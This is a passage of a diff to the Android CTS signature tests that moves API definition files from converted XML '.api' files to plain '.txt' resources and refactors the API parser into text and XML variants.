diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index b94300f..78f114b 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -53,7 +53,7 @@
 
                 ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-                parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+                parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
                         .forEach(complianceChecker::checkSignatureCompliance);
 
                 // After done parsing all expected API files, perform any deferred checks.
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index 5f7d3f9..7605f85 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -14,17 +14,17 @@
 
 LOCAL_PATH := $(call my-dir)
 
-all_system_api_modules := system-current.api system-removed.api
+all_system_api_modules :=
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
-    $(eval all_system_api_modules += system-$(ver).api)\
+    $(eval all_system_api_modules += system-$(ver).txt)\
   )\
 )
 all_system_api_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_system_api_modules))
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-system-all.api
-LOCAL_MODULE_STEM := system-all.api.zip
+LOCAL_MODULE := cts-system-all.txt
+LOCAL_MODULE_STEM := system-all.txt.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
@@ -35,20 +35,25 @@
 	@echo "Zip API files $^ -> $@"
 	@mkdir -p $(dir $@)
 	$(hide) rm -f $@
-	$(hide) $(SOONG_ZIP) -o $@ -C . $(addprefix -f ,$(PRIVATE_SYSTEM_API_FILES))
+	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SYSTEM_API_FILES))
+
+all_system_api_zip_file := $(LOCAL_BUILT_MODULE)
 
 include $(CLEAR_VARS)
 
 LOCAL_PACKAGE_NAME := CtsSystemApiSignatureTestCases
 
+LOCAL_JAVA_RESOURCE_FILES := $(all_system_api_zip_file)
+
 LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    android-test-mock-current.api \
-    android-test-runner-current.api \
-    $(all_sytem_api_modules) \
-    system-all.api.zip
+    current.txt \
+    android-test-mock-current.txt \
+    android-test-runner-current.txt \
+    system-current.txt \
+    system-removed.txt \
 
 include $(LOCAL_PATH)/../build_signature_apk.mk
 
 all_system_api_files :=
 all_system_api_modules :=
+all_system_api_zip_file :=
diff --git a/tests/signature/api-check/system-api/AndroidManifest.xml b/tests/signature/api-check/system-api/AndroidManifest.xml
index c32a63a..7906164 100644
--- a/tests/signature/api-check/system-api/AndroidManifest.xml
+++ b/tests/signature/api-check/system-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.system">
+          package="android.signature.cts.api.system"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 397e72b..3368b77 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -16,19 +16,8 @@
 <configuration description="Config for CTS System API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
-        <!-- This zip file contains all versions of system APIs that the platform is supposed to implement -->
-        <option name="push" value="system-all.api.zip->/data/local/tmp/signature-test/system-all.api.zip" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiSignatureTestCases.apk" />
@@ -37,9 +26,9 @@
         <option name="package" value="android.signature.cts.api.system" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-all.api.zip" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,system-all.txt.zip" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.txt,android-test-runner-current.txt" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
new file mode 100644
index 0000000..8c3e12a
--- /dev/null
+++ b/tests/signature/api/Android.bp
@@ -0,0 +1,126 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+default_visibility = [
+    "//cts/tests/signature/api-check:__subpackages__",
+    "//cts/tests/signature/intent-check",
+]
+
+genrule {
+    name: "cts-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":frameworks-base-api-current.txt",
+    ],
+    out: [
+        "current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-system-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":frameworks-base-api-system-current.txt",
+    ],
+    out: [
+        "system-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-system-removed-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":frameworks-base-api-system-removed.txt",
+    ],
+    out: [
+        "system-removed.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-android-test-base-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":android-test-base-current.txt",
+    ],
+    out: [
+        "android-test-base-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-android-test-mock-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":android-test-mock-current.txt",
+    ],
+    out: [
+        "android-test-mock-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-android-test-runner-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":android-test-runner-current.txt",
+    ],
+    out: [
+        "android-test-runner-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-apache-http-legacy-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":apache-http-legacy-current.txt",
+    ],
+    out: [
+        "apache-http-legacy-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-car-system-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":car-api-system-current.txt",
+    ],
+    out: [
+        "car-system-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-car-system-removed-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":car-api-system-removed.txt",
+    ],
+    out: [
+        "car-system-removed.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0dedf0d..96afc10 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -16,9 +16,9 @@
 
 LOCAL_PATH := $(call my-dir)
 
-# $(1) name of the xml file to be created
+# $(1) name of the txt file to be created
 # $(2) path to the api text file
-define build_xml_api_file
+define copy_api_txt_file
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-$(subst .,-,$(1))
 LOCAL_MODULE_STEM := $(1)
@@ -26,27 +26,13 @@
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
 $$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
-	@echo "Convert API file $$< -> $$@"
-	@mkdir -p $$(dir $$@)
-	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+	@echo "Copying API file $$< -> $$@"
+	$$(copy-file-to-target)
 endef
 
-# NOTE: the output XML file is also used
-# in //cts/hostsidetests/devicepolicy/AndroidTest.xml
-# by com.android.cts.managedprofile.CurrentApiHelper
-# ============================================================
-$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
-$(eval $(call build_xml_api_file,system-current.api,frameworks/base/api/system-current.txt))
-$(eval $(call build_xml_api_file,system-removed.api,frameworks/base/api/system-removed.txt))
-$(eval $(call build_xml_api_file,apache-http-legacy-current.api,external/apache-http/api/current.txt))
-$(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/current.txt))
-$(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/current.txt))
-$(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/current.txt))
-$(eval $(call build_xml_api_file,car-system-current.api,packages/services/Car/car-lib/api/system-current.txt))
-$(eval $(call build_xml_api_file,car-system-removed.api,packages/services/Car/car-lib/api/system-removed.txt))
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
-    $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/$(ver)/system/api/android.txt))\
+    $(eval $(call copy_api_txt_file,system-$(ver).txt,prebuilts/sdk/$(ver)/system/api/android.txt))\
   )\
 )
 
@@ -54,4 +40,4 @@
   $(foreach api_level,public system,\
     $(foreach lib,$(filter-out android,$(filter-out %removed,\
       $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
-        $(eval $(call build_xml_api_file,$(lib)-$(ver)-$(api_level).api,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
+        $(eval $(call copy_api_txt_file,$(lib)-$(ver)-$(api_level).txt,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
new file mode 100644
index 0000000..299e2b7
--- /dev/null
+++ b/tests/signature/intent-check/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsIntentSignatureTestCases",
+    defaults: ["cts_defaults"],
+
+    srcs: ["src/**/*.java"],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-system-current-txt",
+        ":cts-system-removed-txt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    sdk_version: "test_current",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "cts-signature-common",
+    ],
+
+    host_required: ["cts-dynamic-config"],
+}
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
deleted file mode 100644
index be3fb26..0000000
--- a/tests/signature/intent-check/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsIntentSignatureTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-    cts-signature-common \
-
-LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
-
-LOCAL_REQUIRED_MODULES := \
-    cts-current-api \
-    cts-system-current-api \
-    cts-system-removed-api
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index e76cd79..40968ec 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -34,21 +34,13 @@
         <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.intent" />
+        <option name="class" value="android.signature.cts.intent.IntentTest" />
         <option name="runtime-hint" value="10s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index af5c4b9..0195dc4 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -15,14 +15,11 @@
  */
 package android.signature.cts.intent;
 
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
-
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.signature.cts.ApiDocumentParser;
 import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.VirtualPath;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -30,16 +27,15 @@
 
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 
+import java.io.IOException;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
-import java.io.IOException;
 import java.io.InputStreamReader;
 import java.util.HashSet;
 import java.util.List;
@@ -51,9 +47,16 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class IntentTest {
+
+    private static final String CURRENT_API_RESOURCE = "current.txt";
+
+    private static final String SYSTEM_CURRENT_API_RESOURCE = "system-current.txt";
+
+    private static final String SYSTEM_REMOVED_API_RESOURCE = "system-removed.txt";
+
     private static final String TAG = IntentTest.class.getSimpleName();
 
-    private static final File SIGNATURE_TEST_PACKGES =
+    private static final File SIGNATURE_TEST_PACKAGES =
             new File("/data/local/tmp/signature-test-packages");
     private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
     private static final String ACTION_LINE_PREFIX = "          Action: ";
@@ -110,26 +113,23 @@
         Assert.assertTrue(errors.toString(), errors.isEmpty());
     }
 
-    private Set<String> lookupPlatformIntents() {
-        try {
-            Set<String> intents = new HashSet<>();
-            intents.addAll(parse(CURRENT_API_FILE));
-            intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
-            intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
-            return intents;
-        } catch (XmlPullParserException | IOException e) {
-            throw new RuntimeException("failed to parse", e);
-        }
+    private Set<String> lookupPlatformIntents() throws IOException {
+        Set<String> intents = new HashSet<>();
+        intents.addAll(parse(CURRENT_API_RESOURCE));
+        intents.addAll(parse(SYSTEM_CURRENT_API_RESOURCE));
+        intents.addAll(parse(SYSTEM_REMOVED_API_RESOURCE));
+        return intents;
     }
 
-    private static Set<String> parse(String apiFileName)
-            throws XmlPullParserException, IOException {
+    private static Set<String> parse(String apiResourceName) throws IOException {
 
         Set<String> androidIntents = new HashSet<>();
 
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-        apiDocumentParser.parseAsStream(new FileInputStream(new File(apiFileName))).forEach(
+        VirtualPath.ResourcePath virtualPath =
+                VirtualPath.get(IntentTest.class.getClassLoader(), apiResourceName);
+        apiDocumentParser.parseAsStream(virtualPath).forEach(
                 classDescription -> {
                     for (JDiffField diffField : classDescription.getFieldList()) {
                         String fieldValue = diffField.getValueString();
@@ -155,7 +155,7 @@
 
     private static Set<String> lookupActiveIntents(String packageName) {
         HashSet<String> activeIntents = new HashSet<>();
-        File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+        File dumpsysPackage = new File(SIGNATURE_TEST_PACKAGES, packageName + ".txt");
         if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
           throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
         }
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
index 55066ad..7b0e679 100644
--- a/tests/signature/lib/android/Android.bp
+++ b/tests/signature/lib/android/Android.bp
@@ -12,11 +12,19 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-java_library_static {
-  name: "cts-signature-common",
-  host_supported: false,
-  installable: false,
-  srcs: ["src/**/*.java"],
-  static_libs: ["signature-common-javalib"],
-  sdk_version: "current",
+java_library {
+    name: "cts-signature-common",
+    visibility: [
+        "//cts/tests/signature:__subpackages__",
+    ],
+    installable: false,
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "signature-common-javalib",
+        "metalava",
+    ],
+    sdk_version: "current",
 }
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
index 18afa98..78027d4 100644
--- a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
@@ -15,32 +15,8 @@
  */
 package android.signature.cts;
 
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-
-import android.util.Log;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.Spliterator;
-import java.util.function.Consumer;
 import java.util.stream.Stream;
-import java.util.stream.StreamSupport;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
+
 
 /**
  * Parses an XML api definition file and constructs and populates an {@link JDiffClassDescription}
@@ -50,177 +26,25 @@
  */
 public class ApiDocumentParser {
 
-    private static final Set<String> KEY_TAG_SET;
-    static {
-        KEY_TAG_SET = new HashSet<>();
-        Collections.addAll(KEY_TAG_SET,
-                TAG_PACKAGE,
-                TAG_CLASS,
-                TAG_INTERFACE,
-                TAG_IMPLEMENTS,
-                TAG_CONSTRUCTOR,
-                TAG_METHOD,
-                TAG_PARAM,
-                TAG_EXCEPTION,
-                TAG_FIELD);
-    }
-
     private final String tag;
 
-    private final XmlPullParserFactory factory;
-
-    public ApiDocumentParser(String tag) throws XmlPullParserException {
+    public ApiDocumentParser(String tag) {
         this.tag = tag;
-        factory = XmlPullParserFactory.newInstance();
     }
 
-    public Stream<JDiffClassDescription> parseAsStream(InputStream inputStream)
-            throws XmlPullParserException, IOException {
-        XmlPullParser parser = factory.newPullParser();
-        parser.setInput(inputStream, null);
-        return StreamSupport.stream(new ClassDescriptionSpliterator(parser), false);
-    }
-
-    private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
-
-        private final XmlPullParser parser;
-
-        JDiffClassDescription currentClass = null;
-        String currentPackage = "";
-        JDiffClassDescription.JDiffMethod currentMethod = null;
-
-        ClassDescriptionSpliterator(XmlPullParser parser) throws IOException, XmlPullParserException {
-            this.parser = parser;
-            logd(String.format("Name: %s", parser.getName()));
-            logd(String.format("Text: %s", parser.getText()));
-            logd(String.format("Namespace: %s", parser.getNamespace()));
-            logd(String.format("Line Number: %s", parser.getLineNumber()));
-            logd(String.format("Column Number: %s", parser.getColumnNumber()));
-            logd(String.format("Position Description: %s", parser.getPositionDescription()));
-            beginDocument(parser, TAG_ROOT);
-        }
-
-        @Override
-        public boolean tryAdvance(Consumer<? super JDiffClassDescription> action) {
-            JDiffClassDescription classDescription;
-            try {
-                classDescription = next();
-            } catch (IOException|XmlPullParserException e) {
-                throw new RuntimeException(e);
-            }
-
-            if (classDescription == null) {
-                return false;
-            }
-            action.accept(classDescription);
-            return true;
-        }
-
-        @Override
-        public Spliterator<JDiffClassDescription> trySplit() {
-            return null;
-        }
-
-        @Override
-        public long estimateSize() {
-            return Long.MAX_VALUE;
-        }
-
-        @Override
-        public int characteristics() {
-            return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
-        }
-
-        private void beginDocument(XmlPullParser parser, String firstElementName)
-                throws XmlPullParserException, IOException {
-            int type;
-            do {
-                type = parser.next();
-            } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
-
-            if (type != XmlPullParser.START_TAG) {
-                throw new XmlPullParserException("No start tag found");
-            }
-
-            if (!parser.getName().equals(firstElementName)) {
-                throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
-                        ", expected " + firstElementName);
-            }
-        }
-
-        private JDiffClassDescription next() throws IOException, XmlPullParserException {
-            int type;
-            while (true) {
-                do {
-                    type = parser.next();
-                } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
-                        && type != XmlPullParser.END_TAG);
-
-                if (type == XmlPullParser.END_DOCUMENT) {
-                    logd("Reached end of document");
-                    break;
-                }
-
-                String tagname = parser.getName();
-                if (type == XmlPullParser.END_TAG) {
-                    if (TAG_CLASS.equals(tagname) || TAG_INTERFACE.equals(tagname)) {
-                        logd("Reached end of class: " + currentClass);
-                        return currentClass;
-                    } else if (TAG_PACKAGE.equals(tagname)) {
-                        currentPackage = "";
-                    }
-                    continue;
-                }
-
-                if (!KEY_TAG_SET.contains(tagname)) {
-                    continue;
-                }
-
-                if (tagname.equals(TAG_PACKAGE)) {
-                    currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-                } else if (tagname.equals(TAG_CLASS)) {
-                    currentClass = CurrentApi.loadClassInfo(
-                            parser, false, currentPackage);
-                } else if (tagname.equals(TAG_INTERFACE)) {
-                    currentClass = CurrentApi.loadClassInfo(
-                            parser, true, currentPackage);
-                } else if (tagname.equals(TAG_IMPLEMENTS)) {
-                    currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
-                } else if (tagname.equals(TAG_CONSTRUCTOR)) {
-                    JDiffClassDescription.JDiffConstructor constructor =
-                            CurrentApi.loadConstructorInfo(parser, currentClass);
-                    currentClass.addConstructor(constructor);
-                    currentMethod = constructor;
-                } else if (tagname.equals(TAG_METHOD)) {
-                    currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
-                    currentClass.addMethod(currentMethod);
-                } else if (tagname.equals(TAG_PARAM)) {
-                    currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-                } else if (tagname.equals(TAG_EXCEPTION)) {
-                    currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-                } else if (tagname.equals(TAG_FIELD)) {
-                    JDiffClassDescription.JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
-                    currentClass.addField(field);
-                } else {
-                    throw new RuntimeException(
-                            "unknown tag exception:" + tagname);
-                }
-                if (currentPackage != null) {
-                    logd(String.format("currentPackage: %s", currentPackage));
-                }
-                if (currentClass != null) {
-                    logd(String.format("currentClass: %s", currentClass.toSignatureString()));
-                }
-                if (currentMethod != null) {
-                    logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
-                }
-            }
-
-            return null;
+    private ApiParser getApiParser(VirtualPath path) {
+        if (path.toString().endsWith(".txt")) {
+            return new TextApiParser();
+        } else if (path.toString().endsWith(".api")) {
+            return new XmlApiParser(tag);
+        } else {
+            throw new IllegalStateException("Unrecognized file type: " + path);
         }
     }
 
-    private void logd(String msg) {
-        Log.d(tag, msg);
+    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+        ApiParser parser = getApiParser(path);
+
+        return parser.parseAsStream(path);
     }
 }
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiParser.java
new file mode 100644
index 0000000..15444cc
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiParser.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.util.stream.Stream;
+
+/**
+ * Base class for parsers of API specification.
+ */
+abstract class ApiParser {
+
+    /**
+     * Parse the contents of the path and generate a stream of {@link JDiffClassDescription}
+     * instances.
+     *
+     * @param path the path to the API specification.
+     * @return the stream of {@link JDiffClassDescription} instances.
+     */
+    abstract Stream<JDiffClassDescription> parseAsStream(VirtualPath path);
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java b/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
index 611bcb5..c5e0d16 100644
--- a/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
+++ b/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
@@ -15,14 +15,6 @@
  */
 package android.signature.cts;
 
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-
-import java.lang.reflect.Modifier;
-
-import org.xmlpull.v1.XmlPullParser;
-
 /**
  * Helper methods and constants used for parsing the current api file.
  */
@@ -32,159 +24,4 @@
 
     public static final String API_FILE_DIRECTORY = "/data/local/tmp/signature-test";
 
-    public static final String CURRENT_API_FILE =
-            API_FILE_DIRECTORY + "/current.api";
-    public static final String SYSTEM_CURRENT_API_FILE =
-            API_FILE_DIRECTORY + "/system-current.api";
-    public static final String SYSTEM_REMOVED_API_FILE =
